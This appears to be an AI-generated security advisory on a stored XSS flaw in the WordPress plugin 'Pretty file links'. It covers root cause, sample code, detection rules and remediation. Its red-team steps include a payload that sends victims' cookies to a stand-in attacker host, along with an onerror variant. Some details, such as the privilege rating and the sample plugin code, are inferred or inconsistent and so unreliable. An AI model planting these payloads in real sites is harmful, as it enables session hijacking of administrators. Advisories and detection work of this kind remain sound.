CVE-2025-30551

Executive Summary

CVE-2025-30551 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Pretty file links" by Smartredfox, affecting versions up to and including 0.9. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into file link descriptions or metadata. When an administrator or other user views the affected page, the malicious script executes in their browser context, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is classified as Medium severity (CVSS 6.5) due to the requirement for authenticated access and user interaction. No public exploit code or proof-of-concept is currently available, and no patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk increases as the plugin remains unpatched.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users who have installed "Pretty file links" from any source are at risk. No known supply chain compromise has been reported, but the lack of a patch means the plugin should be considered untrusted.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over HTTP.
• Attack Complexity (AC): Low (L) – No special conditions required beyond standard web access.
• Privileges Required (PR): High (H) – Attacker must have at least contributor-level access to the WordPress site.
• User Interaction (UI): Required (R) – The victim must view the page containing the malicious link.
• Scope (S): Changed (C) – The injected script can impact resources beyond the vulnerable component (e.g., steal cookies from other origins).
• Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Minor impact on site functionality.

Threat Level: Medium. Exploitation requires authenticated access, but the stored nature of the XSS means the payload persists and can affect multiple users.

Deep Dive & Mechanics

The "Pretty file links" plugin allows users to create styled links to files (e.g., PDFs, images) with custom descriptions. The vulnerability exists in the link creation/editing interface where user input (e.g., the link title or description) is not properly sanitized before being stored in the WordPress database and later rendered on the frontend.

Root Cause: The plugin uses echo or _e() functions without escaping, or uses wp_kses() with overly permissive allowed HTML tags. This allows an attacker to inject <script> tags or event handlers (e.g., onmouseover, onclick) into the link metadata.

Attack Flow:

1. Attacker logs in with contributor-level privileges.
2. Attacker creates a new "pretty file link" and inserts a payload in the description field, e.g., <script>alert(document.cookie)</script>.
3. The payload is stored in the wp_postmeta table.
4. When an administrator or other user views the page containing the link, the script executes in their browser.
5. The attacker can then steal session cookies, redirect users to malicious sites, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (example from plugin source):

// In pretty-file-links.php or similar
function render_link($link_id) {
    $description = get_post_meta($link_id, 'pfl_description', true);
    echo '<a href="' . esc_url(get_permalink($link_id)) . '">' . $description . '</a>';
}

The $description is output directly without escaping, allowing XSS.

Patched Code (hypothetical):

function render_link($link_id) {
    $description = get_post_meta($link_id, 'pfl_description', true);
    $safe_description = esc_html($description);
    echo '<a href="' . esc_url(get_permalink($link_id)) . '">' . $safe_description . '</a>';
}

Using esc_html() or wp_kses_post() with a restrictive whitelist would neutralize the attack.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress instance with "Pretty file links" plugin version <= 0.9.
• A user account with contributor-level privileges or higher.

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Navigate to the "Pretty file links" admin page (e.g., /wp-admin/admin.php?page=pretty-file-links).
3. Click "Add New" and fill in the required fields.
4. In the "Description" field, inject a payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the link.
6. Wait for an administrator to view the page containing the link (e.g., a post or page where the link is embedded).
7. The administrator's browser executes the script, sending their cookies to the attacker's server.

Alternative Payload (using event handler):

<img src=x onerror="alert('XSS')">

Blue Team

Detection & Response:

• Monitor WordPress admin logs for unusual link creation activity (e.g., multiple links created by a single user in a short time).
• Inspect the wp_postmeta table for entries containing <script> or onerror patterns.
• Use a Web Application Firewall (WAF) to block requests containing common XSS payloads in POST data.
• Restrict contributor-level access to only trusted users.

Lab Setup:

• Use a local WordPress installation (e.g., via Docker) with the vulnerable plugin.
• Simulate the attack using a browser's developer tools to craft the payload.
• Verify detection by checking server logs for the malicious request.

Indicators of Compromise (IOCs)

• File System:
  • Presence of the plugin directory /wp-content/plugins/pretty-file-links/ (version <= 0.9).
• Database:
  • Entries in wp_postmeta with meta_key containing pfl_description and meta_value containing <script> or event handler attributes.
• Network:
  • Outbound HTTP requests to unknown domains from the WordPress server (e.g., GET /steal?cookie=...).
• Logs:
  • WordPress debug log entries showing unexpected output in link rendering.
  • Web server access logs with POST requests to /wp-admin/admin-ajax.php containing XSS-like payloads.

Detection Engineering

YARA Rule

rule Detect_Pretty_File_Links_XSS {
    meta:
        description = "Detects stored XSS payloads in Pretty file links plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-30551"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*["'][^"']*["']/i
    condition:
        $xss_payload or $event_handler
}

Sigma Rule

title: Stored XSS in Pretty File Links Plugin
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via the Pretty file links plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=pfl_save_link'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate use of HTML in link descriptions (rare)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-30551 - Stored XSS in Pretty File Links Plugin";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=pfl_save_link"; http_client_body;
    pcre:"/<script[^>]*>.*<\/script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-30551;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released. Navigate to /wp-admin/plugins.php and deactivate "Pretty file links".
2. Remove all instances of the plugin from the filesystem to prevent re-activation.
3. Audit existing content for stored XSS payloads in link descriptions. Use the YARA rule above to scan the database.

Long-term Mitigation:

• Replace the plugin with an alternative that is actively maintained and follows secure coding practices (e.g., "File Manager" or "Download Manager").
• Implement Content Security Policy (CSP) headers to block inline scripts:

  Header set Content-Security-Policy "script-src 'self';"
  

• Apply virtual patching via a WAF to block XSS payloads in POST requests to plugin endpoints.
• Monitor vendor channels for an official patch. If none appears within 30 days, consider the plugin abandoned and remove it permanently.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.